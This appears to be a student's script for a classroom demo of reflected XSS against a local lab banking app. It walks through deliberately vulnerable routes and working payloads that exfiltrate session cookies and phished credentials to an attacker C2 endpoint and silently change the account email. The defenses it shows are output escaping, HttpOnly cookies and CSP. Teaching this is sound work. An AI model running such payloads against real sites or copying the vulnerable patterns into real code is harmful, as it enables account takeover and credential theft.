🪄 Reflected XSS

Live Demo Presentation Script

Total Duration: ~18–20 minutes | Audience: Professor / Evaluator | Tone: Confident, conversational

Background — What Is Cross-Site Scripting (XSS)?

> **YOU SAY**
>
> *Cross-Site Scripting (XSS) is a web vulnerability class where an application takes untrusted input and includes it in a page's output without properly validating or encoding it, letting an attacker's JavaScript execute inside another user's browser session. It's consistently ranked in the OWASP Top 10 because it breaks the browser's core trust model: everything running under a site's origin is normally assumed to be that site's own code.*
>
> *There are three main types, and they differ in exactly where the attacker's payload lives and how it reaches the victim.*

Type	Where the payload lives	How it reaches the victim	Persistence
Reflected XSS (this project's focus)	**In the HTTP request itself — a URL query string or form field**	**Server reflects it straight back into the HTML response in the same request/response cycle; victim must click a crafted link**	**Non-persistent — one request, one execution**
Stored XSS	Saved server-side — e.g. a database field, comment, or profile entry	Served to every user who later views the page containing it; no link needed	Persistent until the stored data is removed
DOM-based XSS	Never touches the server — a client-side script writes attacker data into the DOM (e.g. via `location.hash`, `innerHTML`)	Entirely in the browser; the server may never see the payload	Non-persistent — depends on client-side script logic

> **Why Reflected XSS for this project**
>
> Reflected XSS is the easiest variant to demonstrate end-to-end and directly ties cause (unsanitized `req.query.q`) to effect (JavaScript executing in the victim's browser) in a single HTTP request — making it ideal for a live, controlled classroom demo. It's also still extremely common in real applications: search boxes, error pages, and redirect parameters are classic reflected-XSS entry points.

How a Reflected XSS Attack Unfolds

#	Step
1	Attacker crafts a URL where a query parameter contains a JavaScript payload, e.g. `/search?q=<script>...</script>`
2	Attacker delivers the link to the victim (phishing email, chat message, QR code, shortened URL)
3	Victim, already authenticated on the target site, clicks the link
4	The vulnerable server reads the parameter and writes it directly into the HTML response with no encoding
5	The victim's browser parses the response; it cannot tell the injected script from the site's own code, so it executes it
6	The script runs with full access to that origin — cookies (if not HttpOnly), the DOM, and the ability to make authenticated requests

Demo Flow at a Glance

#	Section	Time	Goal
1	Introduction	2 min	Frame the problem and the lab setup
2	The Vulnerability in Code	3 min	Show the missing output encoding
3	The Cookie Flaw in Code	1.5 min	Show missing HttpOnly flag
4	Vector 0 — Alert PoC	2 min	Prove code execution
5	Vector A — Session Hijack	4 min	Centerpiece: steal and reuse a session
6	Vector B — Phishing Overlay	3 min	Steal credentials via fake UI
7	Vector C — Silent Unauthorized Action	2.5 min	Background account takeover
8	Defense Demo (Port 5001)	3 min	Show every attack fail against the hardened app
9	The Defense in Code	1 min	Recap the three controls
10	Closing	0.5 min	Summarize and open for questions

Presenter tip

Practice the hand-off between tabs (5000 → 5002 → 5000) at least once before presenting — the biggest risk to pacing isn't the content, it's fumbling between browser tabs on stage.

🗃 Before You Begin — Checklist

> **Do this 5 minutes before your presentation slot.**

☐ Open terminal → `cd /home/kunal/Downloads/CS_PROJECT && node src/server_runner.js` (skip if already running)

☐ Open 3 browser tabs: `localhost:5000`, `localhost:5001`, `localhost:5002`

☐ On :5000, login as **alice / password123**

☐ On :5001, login as **alice / password123**

☐ On :5002, confirm the C2 dashboard loads (click "💻 1-Laptop (Localhost)" button)

☐ Clear any old C2 logs: click the "🗑 Clear Logs" button on :5002

☐ Press F12 on the :5000 tab — keep DevTools open on the Network tab

☐ Silence notifications / close unrelated tabs so screen share is clean

☐ Have a backup: screen-record a full run-through the night before, in case live demo breaks

Section 1 — Introduction ~2 min

> **YOU SAY**
>
> *Good morning / afternoon. Today I'm demonstrating Reflected Cross-Site Scripting, specifically in the context of an online banking application — because that's where the real-world impact is highest.*
>
> *Reflected XSS happens when a server takes user input straight from the request and reflects it back into the page without encoding it. If an attacker tricks a victim into clicking a specially crafted URL, the victim's browser executes the attacker's JavaScript — in the context of the victim's own session.*
>
> *What I've built here is a controlled lab environment with three Node.js/Express servers running side by side:*
>
> - **Port 5000** — a deliberately vulnerable banking app (`src/app_vulnerable.js`)
> - **Port 5001** — a hardened version of the same app, with all defenses enabled (`src/app_secure.js`)
> - **Port 5002** — the attacker's Command & Control dashboard, where stolen data lands in real time (`src/app_attacker.js`)
>
> *I'll walk through the vulnerable code, demonstrate four attack vectors live, and then show how the secure version stops every single one of them.*

> **YOU DO**
>
> Point at each browser tab as you name the port.

Section 2 — The Vulnerability in Code ~3 min

> **YOU SAY**
>
> *Let me show you exactly where the vulnerability lives. Open this file.*

> **YOU DO**
>
> Open `src/routes/vulnerable/search.js` in your editor and point to this block:

`src/routes/vulnerable/search.js`

```
router.get('/search', (req, res) => {
  const q = req.query.q || '';

  // VULNERABILITY: Raw reflection of user input without contextual encoding
  const results = q
    ? `<div class="search-result-box">
         Showing results for: <b>${q}</b>
       </div>`
    : `<p>Enter a search query to search banking records.</p>`;
  ...
  res.send(layout('Search Results', body, { theme: 'vulnerable', ... }));
});
```

YOU SAY

This is the vulnerability. Line by line: the server reads the `q` query parameter straight from `req.query.q` and splices it into the HTML response using a template literal. There is zero filtering on that value before it goes into the response body. Whatever the browser sends in the URL, the browser gets back as live HTML.

Now look at the secure version of the exact same route.

YOU DO

Open `src/routes/secure/search.js` and point to this line:

`src/routes/secure/search.js`

```
const { escapeHtml } = require('../../lib/escape');
const { setSecureHeaders } = require('../../lib/headers');

router.get('/search', (req, res) => {
  setSecureHeaders(res);
  const rawQ = req.query.q || '';
  const safeQ = escapeHtml(rawQ); // DEFENSE: contextual HTML entity encoding

  const results = rawQ
    ? `<div class="search-result-box">
         Showing results for: <b>${safeQ}</b>
       </div>`
    : `<p>Enter a search query to search banking records.</p>`;
  ...
});
```

YOU SAY

`escapeHtml()` converts characters like <, >, and " into their HTML entity equivalents — `<`, `>`, `"`. So `<script>alert(1)</script>` becomes literally visible text — the browser never interprets it as code.

That one function call, plus a call to `setSecureHeaders()`, is the entire difference between a route that's exploitable and one that isn't.

YOU DO

Open `src/lib/escape.js` briefly to show the implementation:

`src/lib/escape.js`

```
function escapeHtml(unsafe) {
  return String(unsafe)
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
}

module.exports = { escapeHtml };
```

YOU SAY

Five `.replace()` calls. Five. That is all it takes to prevent every attack I'm about to demonstrate.

Section 3 — The Cookie Flaw in Code ~1.5 min

YOU SAY

The second vulnerability is in how the session cookie is configured. Let me show you.

YOU DO

Open `src/lib/session.js` and highlight this section:

`src/lib/session.js — sessionMiddleware()`

```
function sessionMiddleware(opts = {}) {
  return (req, res, next) => {
```

```
    let token = getSessionIdFromReq(req);
    let session = getSession(token);

    if (!session && opts.autoCreate !== false) {
      const created = createSession('victim');
      session = created.session;
      token = created.token;
    }
    req.sessionId = token;
    req.session = session;

    // Enforce configured cookie flags (httpOnly, sameSite) on EVERY response
    if (token) {
      res.cookie('sessionid', token, {
        httpOnly: Boolean(opts.httpOnly),
        sameSite: opts.sameSite !== undefined ? opts.sameSite : (opts.httpOnly ? 'Lax' : false),
        secure: false,
        path: '/'
      });
    }
    next();
  };
}
```

YOU DO

Then open `src/app_vulnerable.js` and `src/app_secure.js` to show how it's called:

src/app_vulnerable.js (Port 5000)

```
app.use(sessionMiddleware({ httpOnly: false }));
```

src/app_secure.js (Port 5001)

```
app.use(sessionMiddleware({ httpOnly: true, sameSite: 'Lax' }));
```

YOU SAY

When `httpOnly` is false, JavaScript running on the page can read `document.cookie`. When it's true, the browser hides the cookie from JavaScript entirely — it's only sent in HTTP headers, invisible to any script.

This is what allows session hijacking. Without HttpOnly, a single line of attacker JavaScript can steal your authenticated session.

Section 4 — Live Demo: Vector 0 — Alert Proof of Concept ~2 min

Note
This is just a warm-up to prove code execution. Keep it brief and punchy.

YOU SAY
Alright — let's actually run an attack. We'll start simple. Vector 0 is just an `alert()` — a classic proof of concept. If I can pop an alert, I can do anything.

YOU DO
1. Switch to the :5002 (C2) tab
2. Click "Launch" next to Vector 0 — Alert PoC
3. Copy the generated URL from the box below the button
4. Paste it in the :5000 tab's address bar and press Enter

YOU SAY
This URL looks like a legitimate bank search — `localhost:5000/search?q=...` — but look what's in the `q` parameter.

YOU DO
Pause on the URL bar so the audience sees the <script> tag encoded in the URL.

`payloads/index.js — vectorPoC.generatePayload()`

```
generatePayload: (c2Url = 'http://127.0.0.1:5002') => `<script>
alert('☠ Reflected XSS Triggered! Cookies: ' + (document.cookie || '(none)'));
(function() {
  var msg = 'POC_ALERT_TRIGGERED: ' + document.domain;
  var encoded = encodeURIComponent(msg);
  new Image().src = '${c2Url}/log?data=' + encoded;   // beacons proof to C2
})();
</script>`
```

YOU SAY
The moment the server processes this URL, it injects our payload into the HTML. The browser receives it, parses it as HTML, and...

YOU DO
Watch the alert() pop up.

YOU SAY
...executes it. Notice the payload doesn't just alert — it also silently creates an `Image()` object whose `src` points at our C2's `/log` endpoint, which is how even this "harmless" PoC phones home. Now look at the Network tab.

YOU DO
- Press F12 → Network tab → filter by "log"
- Show the GET request to `:5002/log?data=POC_ALERT_TRIGGERED...`

YOU SAY
Switch to the C2 tab — you'll see the beacon already landed.

YOU DO
Switch to :5002 — show the new log entry in the dashboard.

`src/app_attacker.js — /log receiver`

```
app.all('/log', (req, res) => {
  const data = req.query.data || req.body?.data || '';
  const clientMeta = { ip: req.ip, userAgent: req.headers['user-agent'], ... };
```

```
  const record = store.push(data, clientMeta);   // classified + stored for dashboard
  res.status(200).send(`EXFILTRATION_RECORDED:${record.id}`);
});
```

Section 5 — Live Demo: Vector A — Session Hijacking ~4 min

Caution — Centerpiece Demo
This is the centerpiece demo. Take your time here.

YOU SAY
Now for the serious one — session hijacking. The goal here is to steal Alice's session cookie without knowing her password, and use it to log in as her from a completely separate browser context.

YOU DO
1. On the :5000 tab, press F12 → Application tab → Cookies → localhost
2. Point at the sessionid cookie row

YOU SAY
There it is — Alice's session ID, generated server-side with `crypto.randomBytes(16)`. This is what keeps her logged in. If I steal this value and attach it to my own requests, the bank server thinks I am Alice. No password needed.

YOU DO
1. Switch to :5002 — click "Launch" next to Vector A — Session Hijack
2. Copy the generated URL
3. Paste into :5000 tab's address bar and hit Enter

payloads/vector_a_session_hijacking.js

```
function generatePayload(c2Url = 'http://127.0.0.1:5002') {
  return `<script>
(function() {
  var stolen = document.cookie || 'sessionid=UNAUTHENTICATED_GUEST';
  var encoded = encodeURIComponent(stolen);
  new Image().src = '${c2Url}/log?data=' + encoded;  // exfiltrate cookie to C2
  ...
})();
</script>`;
}
```

YOU SAY
The payload has just executed on Alice's browser. It reads `document.cookie` — possible only because HttpOnly is off on port 5000 — and fires a beacon to our C2.

YOU DO
- Press F12 → Network tab → filter by "log"
- Click the request → Headers tab
- Show the `data=SESSION_COOKIE%3A...` parameter containing the actual cookie value

YOU SAY
Look at the Network request. The stolen cookie is right there in the query string — it's been transmitted to our server.

YOU DO
Switch to :5002 — show the new SESSION_COOKIE card. Click it to expand. Point out: the sessionid value, and Alice's username, email, and balance resolved from the session.

YOU SAY
The C2 not only captured the cookie — it cross-referenced it against the session database and told us: this is Alice, she has ₹1,50,000 in her account. Now watch this.

YOU DO

Click "🎭 Impersonate Victim" on the stolen session card.

`src/app_attacker.js — /hijack route`

```
app.get('/hijack', (req, res) => {
  const sessionid = req.query.sessionid || '';
  res.cookie('sessionid', sessionid, { httpOnly: false, secure: false, path: '/' });
  res.send(`...
    <script>
      document.cookie = 'sessionid=${escapeHtmlText(sessionid)}; path=/';
      setTimeout(function() { window.location.href = '${escapeHtmlText(target)}/'; }, 900);
    </script> ...`);
});
```

YOU SAY

A new tab just opened — logged in as Alice — and I never typed her password. The bank can't distinguish me from Alice because we're presenting her legitimate session token.

Section 6 — Live Demo: Vector B — Phishing Overlay ~3 min

YOU SAY

Vector B is more subtle. Instead of stealing the cookie, we make Alice willingly hand over her password — by injecting a fake login modal directly onto the real bank's page.

YOU DO

1. Switch to :5002 → click "Launch" next to Vector B — Phishing Overlay
2. Copy the URL → paste into :5000 tab → press Enter

payloads/vector_b_phishing_overlay.js

```
function generatePayload(c2Url) {
  return `<div id="xss-phish-modal" style="position:fixed;inset:0;...">
    <!-- fake "Session Expired" SecureBank re-login form -->
    <form id="xss-phish-form">...</form>
  </div>
  <script>
    document.getElementById('xss-phish-form').addEventListener('submit', function(e) {
      e.preventDefault();
      var creds = { user: fd.get('user'), pass: fd.get('pass'), ... };
      new Image().src = '${c2Url}/log?data=' + encodeURIComponent('PHISH_CREDS:' + JSON.stringify(creds));
    });
  </script>`;
}
```

YOU SAY

Look at the URL bar.

YOU DO

Point at the address bar — it still shows localhost:5000.

YOU SAY

The URL says localhost:5000. The page has the bank's logo, styling, colors. But that login form? Injected entirely by our JavaScript — it's just a `<div>` appended to the real page. Alice has no visual cue that anything is wrong.

YOU DO

Type fake credentials into the overlay form and click Submit.

YOU SAY

Those credentials just travelled to our C2 the same way the cookie did — via an `Image()` beacon to `/log`. Switch over.

YOU DO

Switch to :5002 — show the CREDENTIALS card with the entered username and password in plaintext.

YOU SAY

This is phishing — but without needing to register a fake domain or spin up a fake website. The attacker is riding entirely on the victim's trust in the real domain.

Section 7 — Live Demo: Vector C — Silent Unauthorized Action ~2.5 min

YOU SAY

The last attack vector is the sneakiest — no popups, no overlays, no user interaction at all. The payload silently performs an authenticated action in the background.

YOU DO

1. On :5000, navigate to /settings — note Alice's current email address

2. Switch to :5002 → click "Launch" next to Vector C — Unauthorized Action
3. Copy the URL → paste into :5000 tab → press Enter

payloads/vector_c_unauthorized_action.js

```
function generatePayload(c2Url) {
  return `<script>
(function() {
  var targetEmail = 'attacker-takeover@shadow-c2.com';
  fetch('/settings', {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: 'email=' + encodeURIComponent(targetEmail)
  }).then(function() {
    new Image().src = '${c2Url}/log?data=' + encodeURIComponent('ACTION_EXECUTED: ...');
  });
})();
</script>`;
}
```

YOU SAY

The page looks completely normal. Nothing happened visually. But in the background, our payload used `fetch('/settings', ...)` with the browser's ambient cookies — no `credentials` override even needed, since same-origin `fetch()` sends cookies by default — to submit a settings change using Alice's live session.

YOU DO

- Press F12 → Network tab
- Show the POST request to /settings that was fired by the payload
- Navigate to /settings on :5000 — show Alice's email has changed

src/routes/vulnerable/settings.js — POST /settings

```
router.post('/settings', (req, res) => {
  const newEmail = req.body.email || 'victim@securebank.local';
  if (req.sessionId) {
    updateSession(req.sessionId, { email: newEmail });  // no re-auth, no CSRF token check
  }
  ...
});
```

YOU SAY

Alice's email is now changed. She doesn't know. A real attacker would change it to their own email, then hit "Forgot Password" — and now they own the account permanently, with no trace of XSS needed after the initial click. Notice the route never asks for a CSRF token or re-authentication — that's a second, independent bug this vector exploits.

YOU DO

Switch to :5002 — show the UNAUTHORIZED_ACTION card in the C2 dashboard.

Section 8 — Defense Demo on Port 5001 ~3 min

YOU SAY

Now let me show why the secure version is immune to every one of those attacks.

YOU DO

Switch to the :5001 tab (the hardened bank).

YOU SAY

First — the cookie. Open the console.

YOU DO

- Press F12 → Console tab
- Type: `document.cookie` → press Enter
- Show the output: `""` (empty string)

YOU SAY

Empty. `document.cookie` returns nothing because `sessionMiddleware({ httpOnly: true })` flags the cookie HttpOnly on every response. The browser will never expose it to JavaScript. Vector A is dead before it starts.

Now let's try injecting a script.

YOU DO

1. Switch to :5002 → click "Launch" next to Vector A — Session Hijack (for :5001)
2. Take the URL but change the port to 5001
3. Paste into :5001 tab and press Enter

YOU SAY

Look at the search results.

YOU DO

Point at the page — the raw <script> tags are rendered as visible text, not executed.

YOU SAY

The `escapeHtml()` function (`src/lib/escape.js`) converted every angle bracket into its HTML entity. The browser sees `<script>` — text — not `<script>` — code. Now check the console.

YOU DO

Press F12 → Console tab — show any CSP violation errors.

YOU SAY

Even if the escaping somehow failed, we have a second line of defense: the Content Security Policy header. Let me show it.

YOU DO

Press F12 → Network tab → click the page request → Response Headers → show Content-Security-Policy.

`src/lib/headers.js`

```
const CSP =
  "default-src 'self'; " +
  "script-src 'self'; " +        // blocks any injected inline <script>
  "style-src 'self' 'unsafe-inline'; " +
  "connect-src 'self'; " +       // blocks fetch/XHR to attacker-controlled origins
  "object-src 'none'; " +
  "base-uri 'self'; " +
  "form-action 'self';";
```

```
function setSecureHeaders(res) {
  res.setHeader('Content-Security-Policy', CSP);
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('Referrer-Policy', 'no-referrer');
}
```

YOU SAY

CSP tells the browser: only execute scripts from this same origin, and only connect out to this same origin. An inline script injected via XSS has no `src` and isn't same-origin script — the browser blocks it outright, and even `connect-src 'self'` would stop a beacon from reaching our C2 on a different port. And check the C2.

YOU DO

Switch to :5002 — show that no new log entries arrived from :5001.

YOU SAY

Zero logs from the secure server. Defense in depth: output encoding, HttpOnly cookies, and CSP — three independent layers that each independently stop the attack.

Section 9 — The Defense in Code ~1 min

YOU SAY

Let me recap the three defensive controls and exactly where they live in the code.

File	Control
`src/lib/escape.js`	`escapeHtml()` — stops script injection at the template level by HTML-entity-encoding `& < > " '`
`src/lib/headers.js`	`setSecureHeaders()` — Content-Security-Policy, X-Content-Type-Options, X-Frame-Options, Referrer-Policy
`src/lib/session.js`	`sessionMiddleware({ httpOnly: true })` — hides the session cookie from JavaScript entirely
`src/routes/secure/*.js`	Every secure route calls `escapeHtml()` on output and `setSecureHeaders()` before sending a response

YOU SAY

These are not exotic mitigations. They're three lines of configuration and one utility function, applied consistently across every route. The vulnerable app chose to leave them out. The secure app chose to turn them on. That's the entire difference.

Section 10 — Closing ~30 sec

YOU SAY

To summarize: Reflected XSS is a server-side failure to treat user input as data. When user input is interpolated into HTML without encoding, the browser cannot distinguish the developer's code from the attacker's. The attack succeeds entirely on the victim's machine — the attacker's server never needs to be compromised or even detected.

The fix is mandatory output encoding, combined with HttpOnly cookies and a Content Security Policy. Each layer independently raises the bar. Together, they make these four attacks completely impossible.

Thank you. I'm happy to take questions.

Pro tip during demo

If something doesn't work as expected, open the DevTools Console tab first — it will usually tell you exactly what went wrong within 5 seconds.